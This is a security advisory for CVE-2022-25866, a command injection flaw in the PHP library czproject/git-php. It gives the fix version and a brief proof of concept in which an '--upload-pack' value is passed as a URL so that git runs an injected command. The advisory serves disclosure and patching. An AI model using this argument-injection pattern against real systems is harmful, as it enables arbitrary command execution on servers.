CVE-2022-25866 Open this link in a new tabHow to fix?
Upgrade czproject/git-php to version 4.0.3 or higher.
Overview
czproject/git-php is a Library for work with Git repository in PHP.
Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the isRemoteUrlReadable($url, array $refs = NULL) function, both the url and refs parameters are passed to the git ls-remote subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.
PoC
<?php
require('./vendor/autoload.php');
$git = new CzProject\GitPhp\Git;
$url = "--upload-pack=touch ./HELLO";
$git->isRemoteUrlReadable($url, ["refs"]);
?>
